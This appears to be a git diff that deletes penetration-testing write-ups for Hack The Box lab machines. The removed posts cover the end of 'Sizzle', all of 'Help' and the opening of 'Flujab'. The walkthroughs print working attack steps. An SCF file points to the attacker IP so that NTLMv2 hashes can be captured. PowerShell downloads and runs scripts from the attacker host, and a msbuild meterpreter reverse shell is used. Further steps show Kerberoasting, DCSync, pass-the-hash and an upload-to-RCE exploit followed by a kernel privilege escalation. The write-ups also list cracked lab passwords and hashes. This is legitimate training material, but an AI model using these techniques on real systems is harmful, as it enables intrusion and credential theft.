-6fa74ff6dd88878b4b56092a950035f8 ConvertJoin.docx -6fa74ff6dd88878b4b56092a950035f8 CopyPublish.ogg -6fa74ff6dd88878b4b56092a950035f8 DebugMove.mpg -6fa74ff6dd88878b4b56092a950035f8 DebugSelect.mpg -[...] -``` - -After trying a few different things, I noticed that the guest user has write access to the `ZZ_ARCHIVE` and `users\Public` folders: - -`dir` output from smbclient after enabling `showacls`, notice the `WRITE_OWNER_ACCESS` and `WRITE_DAC_ACCESS` permissions: - -``` -type: ACCESS ALLOWED (0) flags: 0x03 SEC_ACE_FLAG_OBJECT_INHERIT SEC_ACE_FLAG_CONTAINER_INHERIT -Specific bits: 0x1ff -Permissions: 0x1f01ff: SYNCHRONIZE_ACCESS WRITE_OWNER_ACCESS WRITE_DAC_ACCESS READ_CONTROL_ACCESS DELETE_ACCESS -SID: S-1-1-0 -``` - -The `S-1-1-0` SID is for all users: - -> SID: S-1-1-0 - -> Name: Everyone - -> Description: A group that includes all users, even anonymous users and guests. Membership is controlled by the operating system. - -From the `users` folder, we can get a list of potential usernames on the box. This could be useful for password spraying if we had a valid password and wanted to try it on different accounts. - -``` -smb: \users\> dir - . D 0 Tue Jul 10 17:39:32 2018 - .. D 0 Tue Jul 10 17:39:32 2018 - amanda D 0 Mon Jul 2 15:18:43 2018 - amanda_adm D 0 Mon Jul 2 15:19:06 2018 - bill D 0 Mon Jul 2 15:18:28 2018 - bob D 0 Mon Jul 2 15:18:31 2018 - chris D 0 Mon Jul 2 15:19:14 2018 - henry D 0 Mon Jul 2 15:18:39 2018 - joe D 0 Mon Jul 2 15:18:34 2018 - jose D 0 Mon Jul 2 15:18:53 2018 - lkys37en D 0 Tue Jul 10 17:39:04 2018 - morgan D 0 Mon Jul 2 15:18:48 2018 - mrb3n D 0 Mon Jul 2 15:19:20 2018 - Public D 0 Wed Sep 26 01:45:32 2018 -``` - -Because we have write access to the SMB share, we can try to use the SCF (Shell Command Files) technique to make a user connect back to us and get the NTLMv2 hash. This of course assumes that there is some automated script simulating an active user on the box. Fortunately, I did the Offshore pro labs a few days prior to starting that box so I remembered that the SCF trick was used there and because Sizzle is created by the same person I figured he probably used the same trick here. - -First, we need to create an .scf file that contains a link to an icon file hosted on our Kali machine. The file doesn't need to exist, we just need to point to our IP so we can get the NTLMv2 hash. Normally we would need to start the file with something like the `@` character so the file will appear at the top of the directory listing when the user browses to it but since there are no other files in that `Public` directory we could use any filename. - -Contents of `@pwn.scf`: -``` -[Shell] -Command=2 -IconFile=\\10.10.14.23\share\pwn.ico -[Taskbar] -Command=ToggleDesktop -``` - -File is uploaded to the `Public` folder. - -``` -# smbclient -U invaliduser //10.10.10.103/"Department Shares" -Try "help" to get a list of possible commands. -smb: \> cd users\public -smb: \users\public\> put @pwn.scf -putting file @pwn.scf as \users\public\@pwn.scf (1.0 kb/s) (average 0.9 kb/s) -``` - -Then `responder` is used to catch the connection from the user and get the hash. This takes a few minutes, the simulated user script is probably running in a scheduler task on the server side. - -``` -# responder -I tun0 - __ -[...] - -[+] Listening for events... -[SMBv2] NTLMv2-SSP Client : 10.10.10.103 -[SMBv2] NTLMv2-SSP Username : HTB\amanda -[SMBv2] NTLMv2-SSP Hash : amanda::HTB:4c8aa1ec2c7628d2:7DE63D37AD8DE986ADA1831A64714556:0101000000000000C0653150DE09D2010F30883C4603F679000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000010000000020000050A6C12D738CB3CD4BB39C28BAAB3AB2BE796E70B0A3A413F02F1F6D8E5C81690A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0032003300000000000000000000000000 -``` - -So we now have an NTLMv2 hash, which we'll need to crack since we can't use that type of hash for Pass-The-Hash. With John the Ripper, we use the rockyou.txt wordlist and are able to crack the password. - -``` -# john -w=/usr/share/wordlists/rockyou.txt --fork=4 amanda.txt -Using default input encoding: UTF-8 -Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) -Node numbers 1-4 of 4 (fork) -Press 'q' or Ctrl-C to abort, almost any other key for status -Ashare1972 (amanda) -1 0g 0:00:00:06 DONE (2019-01-15 22:38) 0g/s 427278p/s 427278c/s 427278C/s ANYBODY -2 1g 0:00:00:06 DONE (2019-01-15 22:38) 0.1492g/s 425960p/s 425960c/s 425960C/s Ashare1972 -4 0g 0:00:00:06 DONE (2019-01-15 22:38) 0g/s 427509p/s 427509c/s 427509C/s ANALEIGH2113 -Waiting for 3 children to terminate -3 0g 0:00:00:06 DONE (2019-01-15 22:38) 0g/s 427576p/s 427576c/s 427576C/s AMOPMINHACASA -Use the "--show" option to display all of the cracked passwords reliably -Session completed -``` - -Password is: `Ashare1972` - -### Getting an initial foothold on the server - -The next thing I tried were psexec and wmiexec, none of them worked for this user. We also don't have any additional privileges on the SMB share, nor can we access anything else on the FTP server. - -Remember that web enrollment certificate page for earlier? Let's go back to it and see if we can log in with Amanda's credentials. - -![](/assets/images/htb-writeup-sizzle/Screenshot_3.png) - -Nice, we are now able to log in and we can request a certificate that we will use to authenticate to the server using WinRM. I switched to a Windows VM at that point because I find using WinRM from within Windows Powershell works better than Kali. - -A Certificate Signing Request (CSR) is created with the following commands (both CSR and private keys are generated): - -``` -PS C:\Users\labuser> openssl req -nodes -newkey rsa:2048 -keyout amanda.key -out amanda.csr -Generating a RSA private key -.......+++++ -.....................................................+++++ -writing new private key to 'amanda.key' ------ -You are about to be asked to enter information that will be incorporated -into your certificate request. -What you are about to enter is what is called a Distinguished Name or a DN. -There are quite a few fields but you can leave some blank -For some fields there will be a default value, -If you enter '.', the field will be left blank. ------ -Country Name (2 letter code) [AU]: -State or Province Name (full name) [Some-State]: -Locality Name (eg, city) []: -Organization Name (eg, company) [Internet Widgits Pty Ltd]: -Organizational Unit Name (eg, section) []: -Common Name (e.g. server FQDN or YOUR name) []:Amanda -Email Address []: - -Please enter the following 'extra' attributes -to be sent with your certificate request -A challenge password []: -An optional company name []: -``` - -Then on the certificate web enrollment page, we can copy/paste the content of the CSR. - -![](/assets/images/htb-writeup-sizzle/Screenshot_4.png) - -This generates a signed certificate that we will download. - -The key and signed certificate need to be combined so they can be imported in the Windows certificate store. We take the `amanda.key` that contains the private key and combine it with `certnew.cer` which is the signed certificate, and the output is saved to `certificate.pfx`: - -``` -PS C:\Users\labuser> openssl pkcs12 -export -out certificate.pfx -inkey amanda.key -in certnew.cer -Enter Export Password: -Verifying - Enter Export Password: -``` - -The .pfx file is then imported into the Windows cert store. Note that once the certificate is imported, we need to note the thumbprint ID since this is required to log in with WinRM. - -The certificate part is ready, now we'll setup the WinRM service and add all hosts to the TrustHosts (we'll disable certificate validation when we connect anyways). - -![](/assets/images/htb-writeup-sizzle/Screenshot_8.png) - -``` -PS C:\Windows\system32> winrm quickconfig -WinRM is not set up to receive requests on this machine. -The following changes must be made: - -Start the WinRM service. -Set the WinRM service type to delayed auto start. - -Make these changes [y/n]? y - -WinRM has been updated to receive requests. - -WinRM service type changed successfully. -WinRM service started. -WSManFault - Message - ProviderFault - WSManFault - Message = WinRM firewall exception will not work since one of the network connection types on this machine is set to Public. Change the network connection type to either Domain or Private and try again. - -Error number: -2144108183 0x80338169 -WinRM firewall exception will not work since one of the network connection types on this machine is set to Public. Change the network connection type to either Domain or Private and try again. -PS C:\Windows\system32> get-service winrm - -Status Name DisplayName ------- ---- ----------- -Running winrm Windows Remote Management (WS-Manag... - -PS C:\tmp> winrm set winrm/config/client '@{TrustedHosts="*"}' -Client - NetworkDelayms = 5000 - URLPrefix = wsman - AllowUnencrypted = false - Auth - Basic = false - Digest = false - Kerberos = false - Negotiate = true - Certificate = true - CredSSP = false - DefaultPorts - HTTP = 5985 - HTTPS = 5986 - TrustedHosts = * -``` - -We don't need to check the CRL and do certificate validation because this is an HTB box, so we can use session options to disable this. - -``` -PS C:\Users\labuser> $sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -PS C:\Users\labuser> enter-pssession -ComputerName 10.10.10.103 -SessionOption $sessionOption -CertificateThumbprint 7d8f7b5cbdf16a19a00f0088f1692734b0c3a850 -[10.10.10.103]: PS C:\Users\amanda\Documents> hostname -sizzle -[10.10.10.103]: PS C:\Users\amanda\Documents> whoami -htb\amanda -[10.10.10.103]: PS C:\Users\amanda\Documents> -``` - -Good, we now have a foothold on the server using WinRM. - -### Escalating to the next user - -Amanda doesn't have `user.txt` in her Desktop, we need to get access as another user next. - -Listing users on the box, we notice two additional users: `sizzler` and `mrlky`: -``` -[10.10.10.103]: PS C:\Users\amanda> net users - -User accounts for \\ - -------------------------------------------------------------------------------- -Administrator amanda DefaultAccount -Guest krbtgt mrlky -sizzler -The command completed with one or more errors. -``` - -When we check the privileges Amanda has, we notice she can add workstations to the domain with `SeMachineAccountPrivilege`. -``` -[10.10.10.103]: PS C:\Users\amanda\Documents> whoami /priv - -PRIVILEGES INFORMATION ----------------------- - -Privilege Name Description State -============================= ============================== ======= -SeMachineAccountPrivilege Add workstations to domain Enabled -SeChangeNotifyPrivilege Bypass traverse checking Enabled -SeIncreaseWorkingSetPrivilege Increase a process working set Enabled -``` - -PowerShell constrained language mode is enabled and prevents us from loading additional modules. -``` -[10.10.10.103]: PS C:\Users\amanda\Documents> $ExecutionContext.SessionState.LanguageMode -ConstrainedLanguage - -[10.10.10.103]: PS C:\Users\amanda> IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.23/PowerView.ps1') -New-Object : Cannot create type. Only core types are supported in this language mode. -At line:1 char:6 -+ IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.23/Pow ... -+ ~~~~~~~~~~~~~~~~~~~~~~~~ - + CategoryInfo : PermissionDenied: (:) [New-Object], PSNotSupportedException - + FullyQualifiedErrorId : CannotCreateTypeConstrainedLanguage,Microsoft.PowerShell.Commands.NewObjectCommand -``` - -We can bypass this by using PowerShell version 2 and we can use PowerView to find an account with an SPN that we will use to Kerberoast: -``` -[10.10.10.103]: PS C:\Users\amanda\Documents> powershell -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.23/PowerView.ps1'); get --domainuser -spn" - -[...] - -objectsid : S-1-5-21-2379389067-1826974543-3574127760-1603 -samaccounttype : USER_OBJECT -primarygroupid : 513 -instancetype : 4 -badpasswordtime : 7/12/2018 12:22:42 AM -memberof : {CN=Remote Management Users,CN=Builtin,DC=HTB,DC=LOCAL, CN=Users,CN=Builti - n,DC=HTB,DC=LOCAL} -whenchanged : 7/12/2018 4:45:59 AM -badpwdcount : 0 -useraccountcontrol : NORMAL_ACCOUNT -name : mrlky -codepage : 0 -distinguishedname : CN=mrlky,CN=Users,DC=HTB,DC=LOCAL -logoncount : 68 -lastlogon : 7/12/2018 10:23:50 AM -serviceprincipalname : http/sizzle -usncreated : 13068 -dscorepropagationdata : {7/7/2018 5:28:35 PM, 1/1/1601 12:00:01 AM} -lastlogontimestamp : 7/10/2018 2:14:51 PM -cn : mrlky -pwdlastset : 7/10/2018 2:08:09 PM -objectguid : 4bd46301-3362-4eac-9374-dc5cb0b6225d -whencreated : 7/3/2018 3:52:48 PM -usercertificate : -[...] -countrycode : 0 -samaccountname : mrlky -objectclass : {top, person, organizationalPerson, user} -objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=HTB,DC=LOCAL -accountexpires : 12/31/1600 7:00:00 PM -usnchanged : 53342 -lastlogoff : 12/31/1600 7:00:00 PM -logonhours : {255, 255, 255, 255...} -``` - -Kerberoasting from the WinRM session doesn't work. I think it's because our user is authenticated with WinRM instead of Kerberos. Not too sure of the specifics here but it has to do with the type of authentication used. -``` -[10.10.10.103]: PS C:\Users\amanda\Documents> powershell -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.23/PowerView.ps1'); inv -oke-kerberoast" -WARNING: [Get-DomainSPNTicket] Error requesting ticket for SPN 'http/sizzle' from user -'CN=mrlky,CN=Users,DC=HTB,DC=LOCAL' : Exception calling ".ctor" with "1" argument(s): "The -NetworkCredentials provided were unable to create a Kerberos credential, see inner execption for -details." -``` - -We also can't kerberoast directly from our Kali machine because TCP Port 88 has been intentionally blocked by the box creator. -``` -# kerberoast spnroast htb.local/amanda:Ashare1972@10.10.10.103 -u mrlky -r htb.local -2019-01-18 13:58:16,096 minikerberos ERROR Failed to get TGT ticket! Reason: [Errno 110] Connection timed out -Traceback (most recent call last): -``` - -What we can do is get a meterpreter shell on the box and do a port forward so we can access TCP port 88 through the meterpreter tunnel. Defender is enabled and will block any attempt at uploading a straight binary to the server. I used GreatSCT for AV evasion with the msbuild option to bypass AppLocker. - -Generating the payload with GreatSCR: -``` -Payload: msbuild/meterpreter/rev_tcp selected - -Required Options: - -Name Value Description ----- ----- ----------- -DOMAIN X Optional: Required internal domain -EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days -HOSTNAME X Optional: Required system hostname -INJECT_METHOD Virtual Virtual or Heap -LHOST IP of the Metasploit handler -LPORT 4444 Port of the Metasploit handler -PROCESSORS X Optional: Minimum number of processors -SLEEP X Optional: Sleep "Y" seconds, check if accelerated -TIMEZONE X Optional: Check to validate not in UTC -USERNAME X Optional: The required user account - - Available Commands: - - back Go back - exit Completely exit GreatSCT - generate Generate the payload - options Show the shellcode's options - set Set shellcode option - -[msbuild/meterpreter/rev_tcp>>] set LHOST 10.10.14.23 - -[msbuild/meterpreter/rev_tcp>>] set LPORT 443 - -[msbuild/meterpreter/rev_tcp>>] generate -``` - -Downloading to the server and executing with msbuild.exe (make sure to use 32 bits since payload is 32 bits): -``` -[10.10.10.103]: PS C:\Users\amanda\Documents> Invoke-WebRequest -Uri "http://10.10.14.23/payload.xml" -OutFile payload.xml - -PS C:\Users\amanda\Documents> C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml -Microsoft (R) Build Engine version 4.6.1586.0 -[Microsoft .NET Framework, version 4.0.30319.42000] -Copyright (C) Microsoft Corporation. All rights reserved. - -Build started 1/18/2019 9:40:14 AM. -PS C:\Users\amanda\Documents> -``` - -I now have a meterpreter session. -``` -msf5 exploit(multi/handler) > -[*] Encoded stage with x86/shikata_ga_nai -[*] Sending encoded stage (179808 bytes) to 10.10.10.103 -[*] Meterpreter session 4 opened (10.10.14.23:4444 -> 10.10.10.103:60672) at 2019-01-18 14:48:41 -0500 - -``` - -Then I added a local port forward so the connection to my Kali machine on TCP port 88 will be tunneled and connected to the remote server on the same port: -``` -meterpreter > portfwd add -l 88 -p 88 -r 127.0.0.1 -[*] Local TCP relay created: :88 <-> 127.0.0.1:88 -meterpreter > portfwd list - -Active Port Forwards -==================== - - Index Local Remote Direction - ----- ----- ------ --------- - 1 0.0.0.0:88 127.0.0.1:88 Forward - -1 total active port forwards. -``` - -Now we can kerberoast through our forwarded port but it still fails because of the clock drift between our host and the server: -``` -# kerberoast spnroast htb.local/amanda:Ashare1972@127.0.0.1 -u mrlky -r htb.local -2019-01-18 14:53:46,934 minikerberos ERROR Failed to get TGT ticket! Reason: The clock skew is too great Error Core: 37 -Traceback (most recent call last): -``` - -I setup my Kali machine to sync to the target box using NTP and I got rid of the clock drift that way. - - -Now we're able to kerberoast and get the hash for `mrlky`: -``` -# kerberoast spnroast htb.local/amanda:Ashare1972@127.0.0.1 -u mrlky -r htb.local -$krb5tgs$23$*mrlky$HTB.LOCAL$spn*$dffa2597262b36b9980bd934bb60ee00$1a0c48f2e50a8e3654f98c0231454e98b711eb8b41e19dc53595e9e71744795a26e04a6d2d320d253ac72efe7ceaebe2a7bda41664ad48a1b9834749690dc493b15033aa670542851bb9d2be388e5c90143f09f31908dd8dcd03179b2cbf35cbca5b8f4f85d7c029c6fe311694ddc6763631a54b070e5f304070397818c3221498a19e5d87168fa11ac7e8a82c715a974a89cad01e15c463ee394c1c175e7f9e8c45fb66576b5c308fd91fca893c1e969635a97bfd7775aa15f57e3c5e1d2effb0cacd9a249ae2e3d4d000ce49e079cf5e4d065f63583615ad75bb76e035d2b67ae85b096fa357e087a421eab77beae5f283034fedfa0ac7c750334bd11062eb5c4297df1a4f4a09fcbe31d64a4003f214262f309583596f2ec15bb9299f8b23c57cba2edd14a4aab2df987f4a0268b783ae40802b87ef92f8fbdb0a38af5987f0b492520c9f5636149f3fe51bc0117c34bed1549cdf09443472533102a35006c5dad7e701d7565b0a2e7bd9407fb976d47bf9d0a95ed9ef333b39e17be825e8b1e9b64f186cefe6c8a28628c8c7da481f85dea018ad3b556b88a966bb3086da54e977b82999bfe69f4580b08f10bf074231fe079ac9f3fa5db4e9c505c2f737f8da7f75bf1b6984fd6dfeb54627474ea4272709c1f8de04a8171fe10da015d2f16e22021fc50ae229838e44d927aa2b431e7faa360da09fb6ba3fcdf0b16f4536d0263f86e940e60c2f347dcc9d3a53f68968d9550d7b35de4015e493346e9943f717f177b4b613b3b34150bd4931dffc55a5d5c534ee3c1c8ff72ea9ecea2799764032907c2a72977cefe0770c4321a10a821195adb4a139127d3c109bdc97224c7e1ff87a0291904f3152d7de0ed069e43daa1e35a21ddf3746c5cb6889b6c442c9902289ae0d4b066fc40c1cc39085116f2924f4f7d023f5ffaa0517c198b413f808e2b53ec1778f8180b39fa370bc77823d316afb240e270b1286d7205d921b7570a72f0c42d789504e586e5569d7b3a9783193765364f1440f21eef0e744b401673762d1dd30289f6fef9d846022c043dedf38483b9850bcb5d8bfb767df4ab5e7e194406ef05a605b4727c4399a58d97262b9eff1dc6a7ab0645ee0cd93d2af0e402e548884d7fe07966ceb78e39ca46eb7cb11964f14b07f7922874716c1bfe12ccf185d92e3d9cea81232d684efaec22398a18c94cb7d71f69ec4ba6296c8a46db94cae2b45a3b587a054115f73ee36ced05e0f -INFO:root:Kerberoast complete -``` - -Luckily for us, the password is weak and we can crack it: -``` -# ~/JohnTheRipper/run/john -w=/usr/share/wordlists/rockyou.txt --fork=4 hash.txt -Using default input encoding: UTF-8 -Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) -Warning: OpenMP was disabled due to --fork; a non-OpenMP build may be faster -Node numbers 1-4 of 4 (fork) -Press 'q' or Ctrl-C to abort, almost any other key for status -Football#7 (?) -2 1g 0:00:00:06 DONE (2019-01-18 10:04) 0.1543g/s 430834p/s 430834c/s 430834C/s Footie123..Foh9iyd=,r^j -4 0g 0:00:00:08 DONE (2019-01-18 10:04) 0g/s 437842p/s 437842c/s 437842C/s cxz..*7¡Vamos! -3 0g 0:00:00:08 DONE (2019-01-18 10:04) 0g/s 436776p/s 436776c/s 436776C/s 0125457423 .a6_123 -1 0g 0:00:00:08 DONE (2019-01-18 10:04) 0g/s 436246p/s 436246c/s 436246C/s Jakekovac3.ie168 -Waiting for 3 children to terminate -Session completed -``` - -Password is: `Football#7` - -I went through the same process of generating a certificate for `mrkly` through the web enrollment page. I was then able to log in with WinRM as user `mrlky` and get the user flag: -``` -PS C:\Users\labuser> $sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -PS C:\Users\labuser> enter-pssession -ComputerName 10.10.10.103 -SessionOption $sessionOption -CertificateThumbprint 4c7 -c243d0a6b2e9c9b1316fbbc8fa5663cebec1c -[10.10.10.103]: PS C:\Users\mrlky.HTB\Documents> type c:\users\mrlky\desktop\user.txt -a6ca1f.... -``` - -### Privesc - -For this next part, we'll add our Windows 10 VM to the domain since both `amanda` and `mrlky` have the necessary privileges to add machines. - -``` -PS C:\Windows\system32> add-computer -domainname htb.local - -cmdlet Add-Computer at command pipeline position 1 -Supply values for the following parameters: -Credential -WARNING: The changes will take effect after you restart the computer DESKTOP-PL1DUQJ. -PS C:\Windows\system32> -``` - -After a reboot, we're able to log in to the Win 10 VM with those two domain accounts. - -Let's run SharpHound to pull the data from AD and import it into BloodHound: -``` -PS C:\Users\mrlky\documents> .\sharphound -c All -Initializing BloodHound at 10:51 AM on 1/18/2019 -Resolved Collection Methods to Group, LocalGroup, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM -Starting Enumeration for HTB.LOCAL -Status: 62 objects enumerated (+62 15.5/s --- Using 48 MB RAM ) -Finished enumeration for HTB.LOCAL in 00:00:04.0273869 -0 hosts failed ping. 0 hosts timedout. - -Compressing data to .\20190118105148_BloodHound.zip. -You can upload this file directly to the UI. -Finished compressing files! -``` - -![](/assets/images/htb-writeup-sizzle/bloodhound.png) - -We can see here that `mrlky` has `GetChanges` and `GetChangesAll` privileges on the domain so he can DCsync and get hashes for all the users - -Let's try that for the administrator: -``` -mimikatz # lsadump::dcsync /user:administrator -[DC] 'HTB.LOCAL' will be the domain -[DC] 'sizzle.HTB.LOCAL' will be the DC server -[DC] 'administrator' will be the user account - -Object RDN : Administrator - -** SAM ACCOUNT ** - -SAM Username : Administrator -Account Type : 30000000 ( USER_OBJECT ) -User Account Control : 00000200 ( NORMAL_ACCOUNT ) -Account expiration : -Password last change : 7/12/2018 9:32:41 AM -Object Security ID : S-1-5-21-2379389067-1826974543-3574127760-500 -Object Relative ID : 500 - -Credentials: - Hash NTLM: f6b7160bfc91823792e0ac3a162c9267 -``` - -Now that we have the administrator NTLM hash, we can log in with pass-the-hash to the server and grab the final flag: -``` -# /usr/share/doc/python-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267 administrator@10.10.10.103 -Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies - -[*] SMBv3.0 dialect used -[!] Launching semi-interactive shell - Careful what you execute -[!] Press help for extra shell commands -C:\>whoami -htb\administrator - -C:\>type c:\users\administrator\desktop\root.txt -91c584 -``` \ No newline at end of file diff --git a/_posts/2019-06-08-htb-writeup-help.md b/_posts/2019-06-08-htb-writeup-help.md deleted file mode 100644 index adf0d0afbc..0000000000 --- a/_posts/2019-06-08-htb-writeup-help.md +++ /dev/null @@ -1,202 +0,0 @@ ---- -layout: single -title: Help - Hack The Box -excerpt: "Help showed that a small programming mistake in a web application can introduce a critical security vulnerability. In this case, the PHP application errors out when uploading invalid extensions such as PHP files but it doesn't delete the file. Combined with a predictable filename generated based on MD5 of original file + epoch, we can get RCE." -date: 2019-06-08 -classes: wide -header: - teaser: /assets/images/htb-writeup-help/help_logo.png -categories: - - hackthebox - - infosec -tags: - - linux - - php - - apache - - kernel exploit - - helpdeskz ---- - -![](/assets/images/htb-writeup-help/help_logo.png) - -Help showed that a small programming mistake in a web application can introduce a critical security vulnerability. In this case, the PHP application errors out when uploading invalid extensions such as PHP files but it doesn't delete the file. Combined with a predictable filename generated based on MD5 of original file + epoch, we can get RCE. - -## Summary - -- The HelpdeskZ PHP application allows .php file uploads to be stored even though there is an error message saying an invalid file has been uploaded. The PHP code doesn't clean up the invalid file that has been uploaded. -- We can't simply execute the uploaded file because the filename stored is obfuscated with the MD5 of the original file + the epoch timestamp. We can bruteforce those with an exploit already available. -- After getting a shell through RCE using the uploaded file, we execute a kernel exploit for CVE 2017-16995 and gain root access. - -## Blog / Tools used - -- [HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File Download](https://www.exploit-db.com/exploits/41200) -- [Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation](https://www.exploit-db.com/exploits/44298) - -### Portscan - -Not much running on there, it's a Linux box with few services running: - -``` -root@ragingunicorn:~# nmap -p- -sC -sV 10.10.10.121 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-19 19:02 EST -Nmap scan report for help.htb (10.10.10.121) -Host is up (0.030s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA) -| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA) -|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519) -80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) -|_http-server-header: Apache/2.4.18 (Ubuntu) -|_http-title: Apache2 Ubuntu Default Page: It works -3000/tcp open http Node.js Express framework -|_http-title: Site doesn't have a title (application/json; charset=utf-8). -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -### Web enumeration Node.js - -![](/assets/images/htb-writeup-help/5.png) - -There's some kind of Node.js application with graphql running on port 3000 but there's not much we can do with it. - -Fails: -- Tried enumerating ednpoints with wfuzz, didn't find anything -- Once I had access to the server later on I was able to find the `graphql` endpoint but couldn't anything special with it other then querying user information which I already access to locally. The username/password shown here was not used anywhere on the box, just a distraction. - -### Web enumeration Apache - -The main page shows the default Ubuntu Apache page: - -![](/assets/images/htb-writeup-help/1.png) - -Next, when we run `gobuster` we find the `/support` URI: - -``` -# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -q -t 50 -u http://help.htb -/javascript (Status: 301) -/server-status (Status: 403) -/support (Status: 301) -``` - -This points to the **HelpdeskZ** application running on the server. - -![](/assets/images/htb-writeup-help/2.png) - -![](/assets/images/htb-writeup-help/3.png) - -There's nothing in the Knowledge Base or News section, and we can't log in because we don't have credentials. - -A quick search on Exploit-DB shows there's a vulnerability related to file uploads: - -``` -root@ragingunicorn:~# searchsploit helpdeskz ------------------------------------------------- - Exploit Title | Path | (/usr/share/exploitdb/) ------------------------------------------------- -HelpDeskZ 1.0.2 - Arbitrary File | exploits/php/webapps/40300.py -HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File | exploits/php/webapps/41200.py ------------------------------------------------- -Shellcodes: No Result -``` - -Exploit: `https://www.exploit-db.com/exploits/40300` - -Basically, when we upload an attachment in a support ticket, the filename is obfuscated by doing an MD5 checksum of the filename concatenated with the epoch time. Because the code uses an integer for the epoch time (instead of a float), we can bruteforce the values by computing the MD5 value of every filename/time combination from the past few minutes and issue a GET request to the server to find if the filename is correct. - -Looking the HelpdeskZ code, we can see that the upload folder is `/support/uploads/tickets/`, this will need to be passed to the exploit script to bruteforce the correct path. - -![](/assets/images/htb-writeup-help/6.png) - -![](/assets/images/htb-writeup-help/7.png) - -We also need to make sure that the time on our computer is set to same time as the server, or close enough so the script will be able to cycle through the epoch time that matches the upload timestamp. - -``` -# date && curl -v --head http://help.htb/ -Sun Jan 20 09:33:00 EST 2019 -* Trying 10.10.10.121... -* TCP_NODELAY set -* Connected to help.htb (10.10.10.121) port 80 (#0) -> HEAD / HTTP/1.1 -> Host: help.htb -> User-Agent: curl/7.62.0 -> Accept: */* -> -< HTTP/1.1 200 OK -HTTP/1.1 200 OK -< Date: Sun, 20 Jan 2019 14:32:37 GMT -Date: Sun, 20 Jan 2019 14:32:37 GMT -``` - -For the reverse shell, we can can use a simple `php/meterpreter/reverse_tcp` shell and attach it to a support ticket: - -![](/assets/images/htb-writeup-help/8.png) - -![](/assets/images/htb-writeup-help/9.png) - -It seems that some extensions are blacklisted or whitelisted on the server. But if we look at the source code on Github, we notice that even when we get an error message, there is no code that deletes the invalid file. The file is still saved on the server even if we get an error message. - -![](/assets/images/htb-writeup-help/10.png) - -To run the exploit, we just give it the upload location and the filename we uploaded: -``` -# ./40300.py http://help.htb/support/uploads/tickets/ cmd.php -Helpdeskz v1.0.2 - Unauthenticated shell upload exploit -``` - -Once the script hits the right filename, the payload is triggered and we get a shell: -``` -msf5 exploit(multi/handler) > -[*] Sending encoded stage (51106 bytes) to 10.10.10.121 -[*] Meterpreter session 1 opened (10.10.14.23:5555 -> 10.10.10.121:35166) at 2019-01-20 09:35:45 -0500 -``` - -Now we can grab the flag and write our SSH key to the user folder so we can log in by SSH after: -``` -meterpreter > shell -Process 17138 created. -Channel 0 created. -cd /home/help -cat user.txt -bb8a7b.... -mkdir .ssh -echo "ssh-rsa AAAAB3NzaC1y[...]hscPOtelvd root@ragingunicorn" >> .ssh/authorized_keys -``` - -### Privesc - -Since this is a low point box, the priv esc is probably something simple such as kernel exploit. - -We get a bunch of results when we run the [Linux Exploit Suggester](https://github.com/mzet-/linux-exploit-suggester) - -``` -[...] -[+] [CVE-2017-16995] eBPF_verifier - - Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html - Tags: debian=9,fedora=25|26|27,[ ubuntu=14.04|16.04|17.04 ] - Download URL: https://www.exploit-db.com/download/45010 - Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 -[...] -``` - -We can exploit CVE 2017-16995 to gain root access. According to the CVE's description: - -> The check_alu_op function in kernel/bpf/verifier.c in the Linux kernel through 4.14.8 allows local users to cause a denial of service (memory corruption) or possibly have unspecified other impact by leveraging incorrect sign extension. - -Exploiting it was easy: - -``` -help@help:~$ cd /dev/shm -help@help:/dev/shm$ vi exp.c -help@help:/dev/shm$ gcc -o exp exp.c -help@help:/dev/shm$ ./exp -task_struct = ffff880039afd400 -uidptr = ffff880036b75b04 -spawning root shell -root@help:/dev/shm# cat /root/root.txt -b7fe60... -``` diff --git a/_posts/2019-06-15-htb-writeup-flujab.md b/_posts/2019-06-15-htb-writeup-flujab.md deleted file mode 100644 index 4ede4390de..0000000000 --- a/_posts/2019-06-15-htb-writeup-flujab.md +++ /dev/null @@ -1,633 +0,0 @@ ---- -layout: single -title: Flujab - Hack The Box -excerpt: "Flujab was without a doubt one of the toughest HTB box. It's got a ton of vhosts that force you to enumerate a lot of things and make sure you don't get distracted by the 